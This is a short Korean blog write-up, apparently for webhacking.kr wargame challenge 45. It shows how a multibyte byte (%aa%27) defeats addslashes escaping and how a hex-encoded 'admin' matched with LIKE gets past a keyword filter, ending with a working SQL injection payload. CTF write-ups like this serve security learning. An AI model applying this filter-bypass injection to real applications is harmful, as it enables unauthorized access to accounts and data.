본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 45번

메인화면
소스코드

id와 pw에 addslashes함수 적용

id값은 멀티바이트 문잘 바뀜

id와 pw에서

admin, select, limit, pw, =, >, < 필터링

쿼리문

select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')로

admin이 나오면 클리어

 

멀티바이트 문자는 저번에 다른 문제에서 

%aa%27로 보내면 싱글쿼터가 사용가능했었음

id=gue%aa%27%23&pw=아무거나

select id from chall45 where id='~~'||id like 0x61646d696e#' and pw=md5('~~~')

->  select id from chall45 where id='~~' || id like 0x61646d696e

 

admin이 나오게 된다

클리어

 

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 9번  (0) 2020.01.03
Webhacking.kr 57번  (0) 2020.01.03
Webhacking.kr 40번  (0) 2020.01.03
Webhacking.kr 22번  (0) 2020.01.03
Webhacking.kr 2번  (0) 2020.01.02